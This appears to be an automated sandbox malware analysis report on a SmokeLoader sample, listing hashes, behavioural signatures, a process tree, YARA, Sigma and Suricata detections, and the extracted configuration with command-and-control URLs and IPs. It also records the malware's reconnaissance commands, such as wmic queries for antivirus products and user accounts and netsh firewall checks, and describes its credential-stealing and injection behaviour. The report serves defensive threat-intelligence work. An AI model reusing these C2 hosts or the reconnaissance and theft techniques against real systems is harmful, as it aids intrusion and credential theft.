Edit tour

Windows Analysis Report
O4zPA1oI9Y.exe

Overview

General Information

Sample name:	O4zPA1oI9Y.exe renamed because original name is a hash value
Original sample name:	2942cb9fca04e939af4ed1eef717e123.exe
Analysis ID:	1529186
MD5:	2942cb9fca04e939af4ed1eef717e123
SHA1:	1bc59ca5e75f717dcd23b73634910b35314bcdee
SHA256:	a76320bf90703f6591b6ec9a66522652c04ea3d87ed57f906cf0f8db209cb4c3
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the windows firewall

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Execution of Suspicious File Type Extension

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

O4zPA1oI9Y.exe (PID: 2924 cmdline: "C:\Users\user\Desktop\O4zPA1oI9Y.exe" MD5: 2942CB9FCA04E939AF4ED1EEF717E123)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

DE97.exe (PID: 5780 cmdline: C:\Users\user\AppData\Local\Temp\DE97.exe MD5: 1096F19319B5C475C2A12B8D0CC4022D)

8CAE.exe (PID: 5144 cmdline: C:\Users\user\AppData\Local\Temp\8CAE.exe MD5: 65AEAA0A0849CB3CE9BC15BCBF0B7B9F)

cmd.exe (PID: 6360 cmdline: cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3060 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6720 cmdline: wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5336 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 4608 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1444 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1432 cmdline: wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1912 cmdline: wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3532 cmdline: wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 2616 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 368 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3796 cmdline: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6688 cmdline: wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1120 cmdline: wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3764 cmdline: wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

ipconfig.exe (PID: 3580 cmdline: ipconfig /displaydns MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 3264 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

netsh.exe (PID: 5952 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

systeminfo.exe (PID: 3112 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

tasklist.exe (PID: 1020 cmdline: tasklist /v /fo csv MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

explorer.exe (PID: 3536 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 1908 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 6316 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 2736 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 1600 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 3488 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

jvgasii (PID: 7004 cmdline: C:\Users\user\AppData\Roaming\jvgasii MD5: 2942CB9FCA04E939AF4ED1EEF717E123)

uegasii (PID: 6104 cmdline: C:\Users\user\AppData\Roaming\uegasii MD5: 1096F19319B5C475C2A12B8D0CC4022D)

msiexec.exe (PID: 4852 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["https://ninjahallnews.com/search.php", "https://fallhandbat.com/search.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2233484367.000000000061F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x39d9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.3040636907.0000000000600000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000A.00000002.3041248373.0000000000743000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3bdc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.2516805210.00000000006B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000009.00000002.2777599585.00000000006D3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3184:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.2777432655.0000000000530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2517016123.00000000007DD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3ab9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000011.00000002.4578892665.00000000005C1000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: explorer.exe PID: 4004	ironshell_php	Semi-Auto-generated - file ironshell.php.txt	Neo23x0 Yara BRG + customization by Stefan -dfate- Molls	0x12b50:$s2: ~ Shell I
Process Memory Space: explorer.exe PID: 6316	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Process Memory Space: explorer.exe PID: 2736	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Click to see the 24 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\jvgasii, CommandLine: C:\Users\user\AppData\Roaming\jvgasii, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\jvgasii, NewProcessName: C:\Users\user\AppData\Roaming\jvgasii, OriginalFileName: C:\Users\user\AppData\Roaming\jvgasii, ParentCommandLine: , ParentImage: , ParentProcessId: 1064, ProcessCommandLine: C:\Users\user\AppData\Roaming\jvgasii, ProcessId: 7004, ProcessName: jvgasii

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6360, ParentProcessName: cmd.exe, ProcessCommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , ProcessId: 3796, ProcessName: WMIC.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: route print, CommandLine: route print, CommandLine|base64offset|contains: , Image: C:\Windows\System32\ROUTE.EXE, NewProcessName: C:\Windows\System32\ROUTE.EXE, OriginalFileName: C:\Windows\System32\ROUTE.EXE, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6360, ParentProcessName: cmd.exe, ProcessCommandLine: route print, ProcessId: 3264, ProcessName: ROUTE.EXE

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T18:23:27.750526+0200	2039103	1	A Network Trojan was detected	192.168.2.6	49836	160.177.223.165	80	TCP
2024-10-08T18:23:28.876636+0200	2039103	1	A Network Trojan was detected	192.168.2.6	49842	160.177.223.165	80	TCP
2024-10-08T18:23:29.764123+0200	2039103	1	A Network Trojan was detected	192.168.2.6	49843	160.177.223.165	80	TCP
2024-10-08T18:23:31.473826+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61260	160.177.223.165	80	TCP
2024-10-08T18:23:32.363126+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61270	160.177.223.165	80	TCP
2024-10-08T18:23:33.235140+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61279	160.177.223.165	80	TCP
2024-10-08T18:23:36.225749+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61297	160.177.223.165	80	TCP
2024-10-08T18:23:37.095845+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61302	160.177.223.165	80	TCP
2024-10-08T18:23:38.050287+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61308	160.177.223.165	80	TCP
2024-10-08T18:23:38.944473+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61315	160.177.223.165	80	TCP
2024-10-08T18:23:40.657509+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61321	160.177.223.165	80	TCP
2024-10-08T18:23:41.860681+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61327	160.177.223.165	80	TCP
2024-10-08T18:23:42.740213+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61334	160.177.223.165	80	TCP
2024-10-08T18:23:43.610880+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61340	160.177.223.165	80	TCP
2024-10-08T18:23:44.513005+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61347	160.177.223.165	80	TCP
2024-10-08T18:23:45.415476+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61355	160.177.223.165	80	TCP
2024-10-08T18:23:46.357847+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61360	160.177.223.165	80	TCP
2024-10-08T18:23:47.252091+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61365	160.177.223.165	80	TCP
2024-10-08T18:23:48.814052+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61370	160.177.223.165	80	TCP
2024-10-08T18:23:49.702109+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61375	160.177.223.165	80	TCP
2024-10-08T18:23:50.575715+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61382	160.177.223.165	80	TCP
2024-10-08T18:23:51.441127+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61388	160.177.223.165	80	TCP
2024-10-08T18:23:52.527195+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61397	160.177.223.165	80	TCP
2024-10-08T18:23:53.404922+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61404	160.177.223.165	80	TCP
2024-10-08T18:23:55.559019+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61419	160.177.223.165	80	TCP
2024-10-08T18:23:56.454433+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61424	160.177.223.165	80	TCP
2024-10-08T18:23:57.351748+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61425	160.177.223.165	80	TCP
2024-10-08T18:23:58.386607+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61426	160.177.223.165	80	TCP
2024-10-08T18:23:59.891018+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61427	160.177.223.165	80	TCP
2024-10-08T18:24:00.795610+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61428	160.177.223.165	80	TCP
2024-10-08T18:24:01.754405+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61429	160.177.223.165	80	TCP
2024-10-08T18:24:02.629838+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61430	160.177.223.165	80	TCP
2024-10-08T18:24:20.366638+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61433	23.145.40.168	443	TCP
2024-10-08T18:24:21.816752+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61434	23.145.40.168	443	TCP
2024-10-08T18:24:22.716146+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61435	23.145.40.168	443	TCP
2024-10-08T18:24:23.603368+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61436	23.145.40.168	443	TCP
2024-10-08T18:24:24.559269+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61437	23.145.40.168	443	TCP
2024-10-08T18:24:25.495258+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61438	23.145.40.168	443	TCP
2024-10-08T18:24:27.083217+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61439	23.145.40.168	443	TCP
2024-10-08T18:24:28.004185+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61440	23.145.40.168	443	TCP
2024-10-08T18:24:28.889008+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61441	23.145.40.168	443	TCP
2024-10-08T18:24:29.775842+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61442	23.145.40.168	443	TCP
2024-10-08T18:24:30.682604+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61443	23.145.40.168	443	TCP
2024-10-08T18:24:31.837606+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61444	23.145.40.168	443	TCP
2024-10-08T18:24:32.735891+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61445	23.145.40.168	443	TCP
2024-10-08T18:24:33.708055+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61446	23.145.40.168	443	TCP
2024-10-08T18:24:35.121047+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61447	23.145.40.168	443	TCP
2024-10-08T18:24:36.013059+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61448	23.145.40.168	443	TCP
2024-10-08T18:24:36.915028+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61449	23.145.40.168	443	TCP
2024-10-08T18:24:38.479188+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61450	23.145.40.168	443	TCP
2024-10-08T18:24:39.402725+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61451	23.145.40.168	443	TCP
2024-10-08T18:24:40.283939+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61452	23.145.40.168	443	TCP
2024-10-08T18:24:46.922823+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61454	23.145.40.168	443	TCP
2024-10-08T18:25:09.724772+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61455	160.177.223.165	80	TCP
2024-10-08T18:25:11.261402+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61456	160.177.223.165	80	TCP
2024-10-08T18:25:17.849622+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61457	160.177.223.165	80	TCP
2024-10-08T18:25:25.694218+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61458	160.177.223.165	80	TCP
2024-10-08T18:25:34.893758+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61459	160.177.223.165	80	TCP
2024-10-08T18:25:46.638196+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61461	160.177.223.165	80	TCP
2024-10-08T18:25:59.919254+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61462	160.177.223.165	80	TCP
2024-10-08T18:26:00.552603+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61463	23.145.40.168	443	TCP
2024-10-08T18:26:17.303628+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61465	23.145.40.168	443	TCP
2024-10-08T18:26:17.380497+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61464	190.249.249.14	80	TCP
2024-10-08T18:26:36.769052+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61466	190.249.249.14	80	TCP
2024-10-08T18:26:37.622347+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61467	23.145.40.168	443	TCP
2024-10-08T18:26:55.070440+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61469	190.249.249.14	80	TCP
2024-10-08T18:26:56.007175+0200	2039103	1	A Network Trojan was detected	192.168.2.6	61470	23.145.40.168	443	TCP

ETPRO MALWARE Dridex Post Checkin Activity 3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T18:24:20.818347+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61433	23.145.40.168	443	TCP
2024-10-08T18:24:22.092535+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61434	23.145.40.168	443	TCP
2024-10-08T18:24:23.001256+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61435	23.145.40.168	443	TCP
2024-10-08T18:24:23.881130+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61436	23.145.40.168	443	TCP
2024-10-08T18:24:24.867432+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61437	23.145.40.168	443	TCP
2024-10-08T18:24:26.230287+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61438	23.145.40.168	443	TCP
2024-10-08T18:24:27.381937+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61439	23.145.40.168	443	TCP
2024-10-08T18:24:28.284963+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61440	23.145.40.168	443	TCP
2024-10-08T18:24:29.177525+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61441	23.145.40.168	443	TCP
2024-10-08T18:24:30.062705+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61442	23.145.40.168	443	TCP
2024-10-08T18:24:30.976278+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61443	23.145.40.168	443	TCP
2024-10-08T18:24:32.127269+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61444	23.145.40.168	443	TCP
2024-10-08T18:24:33.084547+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61445	23.145.40.168	443	TCP
2024-10-08T18:24:34.334207+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61446	23.145.40.168	443	TCP
2024-10-08T18:24:35.402522+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61447	23.145.40.168	443	TCP
2024-10-08T18:24:36.310731+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61448	23.145.40.168	443	TCP
2024-10-08T18:24:37.202175+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61449	23.145.40.168	443	TCP
